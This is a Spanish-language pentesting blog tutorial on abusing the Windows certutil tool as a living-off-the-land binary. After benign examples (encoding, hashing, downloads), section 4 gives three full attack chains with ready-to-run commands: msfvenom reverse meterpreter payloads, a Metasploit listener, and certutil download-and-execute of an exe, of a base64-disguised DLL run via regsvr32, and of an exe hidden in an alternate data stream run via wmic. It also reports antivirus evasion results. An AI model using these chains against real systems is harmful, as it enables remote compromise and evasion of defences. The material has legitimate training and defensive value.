En este artículo, vamos a describir la utilidad de la herramienta Certutil y su importancia en las pruebas de penetración de Windows.
Certutil es una herramienta preinstalada en el sistema operativo Windows que se puede utilizar para descargar archivos maliciosos y evadir el antivirus. Es uno de los binarios de Living Off Land (LOL).
1. Conceptos Básicos
1.1. ¿Qué es Certutil?
Certutil es un programa CLI que se puede utilizar para volcar y mostrar la autoridad de certificación (CA), la información de configuración, los servicios de Certificate Server, la copia de seguridad y restauración de componentes de CA y verificar certificados, pares de claves y cadenas de certificados. Se instala como parte de los Servicios de certificados.
1.2. ¿Qué es Living off Land?
En palabras simples, es un ataque que funciona con la idea de usar herramientas del sistema como puertas traseras (backdoors). El ataque fileless (también conocido como ataque zero-footprint o non-malware) es otro ejemplo de ataque LOL. Los atacantes que usan esta táctica trabajan con herramientas confiables, en la mayoría de los casos, preinstaladas del sistema para llevar a cabo su ataque. Los atacantes usan estas tácticas para ocultar su actividad maliciosa a la vista entre la otra actividad general dentro de la red o el sistema.
1.3. ¿Qué es Alternative Data Stream (ADS)?
El sistema de archivos NTFS consta de la función ADS. Esta es una característica discreta que se incluyó para proporcionar compatibilidad con archivos en el sistema de archivos Macintosh. Los ADS permiten que los archivos incorporen más de una secuencia de datos. En cualquier caso, cada archivo consta de al menos un flujo de datos. Este flujo de datos predeterminado en Windows se reconoce como :$DATA.
El Explorador de Windows no puede ver qué ADS hay en un archivo (o una forma de borrarlos sin descartar realmente el archivo original), pero se pueden crear y acceder con facilidad. Debido a que son difíciles de detectar, los hackers a menudo los usan para ocultar archivos en máquinas que han comprometido. Los archivos ejecutables en ADS pueden ejecutarse desde la línea de comandos pero sin aparecer en el Explorador de Windows.
2. Configuración y ejemplos previos
Atacante:
- SO: Parrot OS (Puedes usar Kali Linux o una de las Mejores distribuciones de Linux para Pentesting y Hacking)
- IP: 192.168.1.51
Objetivo:
- SO: Windows 10 (compilación 18363)
- IP: 192.168.1.63
3. Ejemplos previos de ataque
3.1. Ejemplo N°1: Encoding
Certutil contiene un parámetro de codificación (encode
). Podría ayudar codificar el contenido del archivo en Base64. Este es un equivalente de Windows al comando base64
en Linux.
Cuando trabajamos con un archivo ejecutable, nos encontramos con un escenario. En él, la carga del archivo ejecutable no fue fácil. Podemos usar certutil para codificar el archivo ejecutable. Entonces transferimos los datos codificados, luego lo decodificamos en la máquina receptora.
En la siguiente práctica, primero creamos un archivo de texto llamado “archivo.txt
” y escribimos la línea “Esto es un texto plano
“. Lo haré con el cmdlet Add-Content
en PowerShell.
- ¿Nuevo con Microsoft PowerShell? Aprende Cómo usar Windows PowerShell: Guía Básica de Inicio
- 10 cmdlets de PowerShell para Resolver Problemas de Red
Podemos ver que funcionó cuando verificamos el archivo usando el comando type
. Para convertir, utilizaremos certutil
con el parámetro encode
. Le proporcionaremos el archivo de texto y el archivo en el que debe escribir los datos codificados.
Add-Content archivo.txt "Esto es un texto plano"
type .\archivo.txt
certutil -encode archivo.txt codificado.txt
type .\codificado.txt
Certutil agrega dos segmentos “BEGIN CERTIFICATE” y “END CERTIFICATE“. El contenido convertido del archivo está entre estos dos segmentos. Podemos verificar el texto codificado usando el comando type
.
Podemos usar el parámetro -encodehex
para convertir datos en archivos codificados Hex.
3.2. Ejemplo N°2: Decoding
Certutil puede decodificar los datos codificados en Base64. Te mostraré un método rápido desde el que puedes decodificar los datos. Utilizaremos el archivo que codificamos en la práctica anterior. Usaremos certutil con el parámetro -decode
. Luego proporciona el archivo codificado y el archivo en el que debe escribir los datos decodificados. Podemos verificar el texto decodificado usando el comando type
.
type .\codificado.txt
certutil -decode codificado.txt decodificado.txt
type .\decodificado.txt
Podemos usar el parámetro -decodehex
para decodificar los archivos codificados en Hex.
3.3. Ejemplo N°3: Hashing
Hashing significa tomar datos y entregar una cadena de salida de una longitud fija. Utilizando los algoritmos de cifrado de hashing, por ejemplo, MD5, SHA-1, SHA-256, puedes verificar si dos archivos son idénticos o no. La checksum es un valor hash utilizado para realizar comprobaciones de integridad de datos. Es una especie de firma para un archivo. Al comparar la checksum, podemos identificar archivos duplicados.
- Por si te interesa: FSlint: Buscar y eliminar archivos duplicados en Linux
Es momento de generar algunos hashes. Usaremos el archivo.txt
que creamos anteriormente. Primero, generaremos el hash MD5 usando el parámetro certutil -hashfile
. Con el parámetro, la ruta del archivo y el algoritmo podemos hacer hash del archivo.
certutil -hashfile ".\archivo.txt" md5
certutil -hashfile ".\archivo.txt" sha1
certutil -hashfile ".\archivo.txt" sha256
3.4. Ejemplo N°4: Descarga
En escenarios, donde wget
, BITSAdmin
o cualquier otro método de convención está bloqueado, Certutil se puede usar para descargar archivos de Internet. Vamos a descargar 7zip.exe del servidor 7zip como se muestra en la imagen.
certutil.exe -urlcache -split -f http://7-zip.org/a/7z1604-x64.exe 7zip.exe
dir
Otros recursos de interés:
- Cómo descargar archivos más rápido en Linux con Motrix
- udemy-dl: Descargar cursos de Udemy para uso personal
- Transfer.sh: Intercambio de archivos desde la terminal Linux
3.5. Ejemplo N°5: Lectura de error de código
Supongamos que tienes un código de error del sistema sin ningún mensaje. No tienes ninguna fuente para buscar el significado del error. Este es un escenario común. Certutil puede ayudar a buscar el texto del mensaje para los códigos de error del sistema.
certutil -error 8200
certutil -error 0x200
4. Pruebas de penetración utilizando Certutil
4.1. Ejemplo N°6: Comprometer sistema con ejecutable malicioso
Durante nuestra evaluación inicial, vimos que certutil estaba descargando activamente archivos de Internet sin ningún tipo de verificación o evaluación. Esta es una instancia que forma parte del MITRE | ATT&CK Remote File Copy Tactic (una táctica de Mando y control o C&C).
Certutil se puede utilizar para copiar un archivo de un sistema a otro para organizar algunas herramientas de ataque u otros archivos durante un ataque. Los archivos también se pueden transferir desde un sistema externo controlado por el atacante a través de un Canal de Comando y Control para llevar herramientas o secuencias de comandos a la red objetivo para apoyar el Lateral Movement.
Veamos cómo podemos comprometer un sistema de Windows usando un ejecutable malicioso.
Anteriormente:
Comenzamos nuestro ataque con Exploit Development. Utilizamos la herramienta msfvenom para generar una carga útil o payload para una conexión TCP inversa a nuestra máquina atacante. Proporcionamos msfvenom con el LHOST
y LPORT
apropiados. El formato de la payload se estableció en un archivo ejecutable (.exe
). Lo llamaremos “shell.exe
“. Después de una ejecución exitosa, el archivo se creará en el directorio “/root
“. Ahora para transferir el .exe
recién generado, podemos usar el Servidor HTTP generado por un Python One-liner.
msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.1.51 lport=1234 -f exe > shell.exe
python -m SimpleHTTPServer 80
Ahora que la payload está alojada en el servidor, antes de ejecutar la payload en la máquina de destino (víctima), necesitamos iniciar un oyente en la máquina atacante para capturar la sesión de meterpreter que se generaría después de la ejecución de la payload.
msfconsole
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost 192.168.1.51
set lport 1234
exploit
Comprometiendo máquina de la víctima
Después de iniciar con éxito un escucha en el atacante, es hora de pasar a la máquina de destino. Aquí tenemos un terminal PowerShell. Necesitamos descargar la payload a esta máquina. Usaremos certutil
para buscarlo. Certutil realizará dos conexiones al servidor web remoto utilizando dos agentes de usuario diferentes. Se denominarán “Microsoft-CryptoAPI” y “Certutil URL Agent“.
certutil.exe -urlcache -split -f http://192.168.1.51/shell.exe shell.exe
.\shell.exe
Después de la transferencia exitosa de la payload a la máquina de destino. Ejecutamos la payload como se muestra en la imagen.
Regresamos a nuestra máquina atacante para ver que nuestro oyente genera y captura una instancia de meterpreter. Ejecutamos sysinfo
para ver los detalles del sistema de destino.
sysinfo
Hemos comprometido con éxito la máquina de destino utilizando una combinación de Certutil y un ejecutable malicioso.
4.2. Ejemplo N°7: Comprometer sistema con DLL maliciosa codificada
Como se vio anteriormente, Certutil codifica el contenido del archivo en Base64. Esto abre muchas posibilidades. Esta es una instancia que forma parte de MITRE | ATT&CK Deobfuscate/Decode Files o táctica de información.
Los atacantes pueden usar archivos ofuscados (difíciles de detectar/encontrar) para ocultar la evidencia de un ataque del análisis. Después, pueden desobuscar (mostrar) esos archivos. Aquí es donde entra en juego certutil. Puedes decodificar los datos y ayudar a evitar el antivirus, el software IDS/IPS. Certutil también se puede usar para decodificar un archivo ejecutable portátil que se ha ocultado dentro de un archivo de certificado.
Las cargas útiles (Payloads) se pueden comprimir, archivar o cifrar para evitar la detección.
Utilizaremos la herramienta msfvenom para generar una payload para una conexión TCP inversa a nuestra máquina atacante. Proporcionaremos msfvenom con el LHOST
y LPORT
apropiados. El formato de la payload lo establecemos en un Archivo de biblioteca de enlace dinámico (.dll). Lo llamaremos “dll.txt
“. Podemos nombrarlo con cualquier otro nombre que sea menos sospechoso. Usamos el archivo de texto para que no levante ningún indicador innecesario. Después de una ejecución exitosa, el archivo se crea en el directorio “/root
“. Ahora para transferir el archivo recién generado, podemos usar el Servidor HTTP generado por un Python One-liner.
msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.1.51 lport=1234 -f dll > dll.txt
python -m SimpleHTTPServer 80
Ahora que la payload está alojada en el servidor, antes de ejecutar la payload en la máquina de destino, necesitamos iniciar un oyente en la máquina atacante para capturar la sesión de meterpreter que se generaría después de la ejecución de la payload.
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost 192.168.1.51
set lport 1234
exploit
Comprometiendo máquina de la víctima
Después de iniciar con éxito un oyente en el atacante, es hora de pasar a la máquina de destino. Aquí tenemos un terminal PowerShell. Necesitamos descargar la payload a esta máquina y debemos hacerlo discretamente. Ejecutamos certutil
con una combinación de URLCache
y encode
separada por pipe (|). Ahora el archivo se descargará como un archivo de texto y se codificará como otro archivo de texto que llamamos “edll.txt
” para el DLL codificado.
certutil -urlcache -split -f http://192.168.1.51/dll.txt dll.txt | certutil -encode dll.txt edll.txt
Ahora para ejecutar la payload para comprometer a la víctima, tenemos que decodificarla. Usamos el parámetro decode
en certutil para decodificar la payload y la guardamos como “exploit.dll
“. Ahora para ejecutar esta DLL, usaremos regsvr32
. Ejecuta DLL directamente en la memoria.
certutil -decode .\edll.txt exploit.dll
regsvr32 /s /u .\exploit.dll
Regresamos a nuestra máquina atacante para ver que nuestro oyente genera y captura una instancia de meterpreter. Ejecutamos sysinfo
para ver los detalles del sistema de destino.
Hemos comprometido con éxito la máquina de destino utilizando una combinación de Certutil y un ejecutable malicioso codificado.
Evitando Antivirus
Mientras hablábamos sobre evadir el software antivirus. Inspeccioné los archivos que generé y usé para intentar comprometer el objetivo. Utilicé VirusTotal para este análisis. Primero inspeccionamos el “dll.txt
“. Tras la carga y el análisis exitoso del dll.txt, el resultado de detección fue de 54 de los 67 motores antivirus. Eso no puede ser bueno.
Por lo tanto, la inspección del archivo dll.txt no fue aceptable. Luego probé el archivo que codificamos usando certutil. Fue el turno de el edll.txt
. Tras el análisis de edll.txt
, el resultado de detección fue de 4 de los 56 motores antivirus. No es perfecto pero es una gran diferencia.
Otro sabor de este ataque puede ser como se muestra a continuación:
- Crea una carga útil en forma de ejecutable (payload.exe).
- Utiliza certutil para codificarlo a un binario específico. Por ejemplo, “payload.enc”.
- Luego, publica el resultado del proceso de codificación en Github, Pastebin u otros servicios alternativos.El propósito de este procedimiento es separar la carga útil codificada para evitar la detección.
- Ahora usa el certutil en la máquina de destino para descargar el contenido del servidor remoto (Github/Pastebin).
- Finalmente, decodifica la carga útil maliciosa en una extensión ejecutable usando Certutil y ejecútala para comprometer el objetivo.
4.3. Ejemplo N°8: Comprometer sistema con ejecutables maliciosos dentro de ADS
Nuevamente utilizamos la herramienta msfvenom para generar una payload para una conexión TCP inversa a nuestra máquina atacante. Proporcionamos msfvenom con el LHOST
y LPORT
apropiados. El formato de la carga se estableció en un archivo ejecutable (.exe
). Lo llamamos “virus.exe
“. Después de una ejecución exitosa, el archivo se crea en el directorio “/root
“. Ahora para transferir el archivo recién generado, podemos usar el Servidor HTTP generado por un Python One-liner.
msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.1.51 lport=443 -f exe > "virus.exe"
python -m SimpleHTTPServer 80
Ahora que la payload está alojada en el servidor, antes de ejecutar la payload en la máquina de destino, necesitamos iniciar un oyente en la máquina atacante para capturar la sesión de meterpreter que se generaría después de la ejecución de la payload.
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost 192.168.1.51
set lport 1234
exploit
Comprometiendo máquina de la víctima
Esta vez usaremos un enfoque completamente diferente. Vamos a utilizar el Flujo alternativos de datos (Alternative Data Stream). ADS fue creado por Microsoft para admitir la compatibilidad con el sistema de archivos de Apple McIntosh. En Mac, los archivos tienen una gran cantidad de metadatos además de datos regulares. Para guardar el archivo exe en ADS, debemos especificar el nombre del archivo en cuyo ADS queremos guardar otro archivo, luego (:
) seguido por el nombre y la extensión de otro archivo. Como se muestra, guardamos el virus.exe
dentro de los ADS del archivo harmless.txt
.
certutil.exe -urlcache -split -f http://192.168.1.51/virus.exe harmless.txt:virus.exe
Aquí, se puede observar que no hay un archivo llamado virus.exe
en el directorio y que el tamaño de harmless.txt
es 0 y que no contiene nada, ya que originalmente era un archivo de texto vacío.
Ahora para ejecutar el archivo que pusimos en los ADS; estaremos usando wmic
. Utilizaremos el indicador create
seguido de la ruta de la payload como se muestra en la imagen. Dice que la ejecución fue exitosa.
wmic process call create "c:\harmless.txt:virus.exe"
Regresamos a nuestra máquina atacante para ver que nuestro oyente genera y captura una instancia de meterpreter. Ejecutamos sysinfo
para ver los detalles del sistema de destino.
Hemos comprometido con éxito la máquina de destino utilizando una combinación de Certutil y un ejecutable malicioso oculto en una Alternative Data Stream.
5. Mitigación y Resumen
Como hemos visto, herramientas como certutil pueden ser utilizadas por un atacante con acceso físico a la máquina o por código malicioso descargado sin saberlo ya sea por un usuario después de un ataque de phishing u otro ataque de ingeniería social.
Se debe monitorear el uso de Certutil, particularmente si se detecta que se está utilizando con las opciones -decode
o -decodeHex
donde eso normalmente no se esperaría en tu red. Es primordial no depender de herramientas que simplemente incluyan en la lista blanca el código incorporado o firmado, ya que obviamente se evitarán mediante tales técnicas de Living Off the Land (LOL).
Este tipo de ataque está sucediendo mucho en la vida real. Ha habido múltiples incidentes dirigidos a diferentes entornos de oficina, así como a bancos. Fue una experiencia de aprendizaje divertida trabajar con certutil.
Si te gusta el contenido y deseas apoyar a la mejora del sitio web, considera hacer una contribución ¡haciendo clic aquí por favor!. ¡NO ES OBLIGATORIO, GRACIAS! 🙂
¿Te ha gustado este artículo? Sígue este blog en su fanpage de Facebook, Twitter, Instagram y/o YouTube para que no te pierdas del mejor contenido informático y hacking!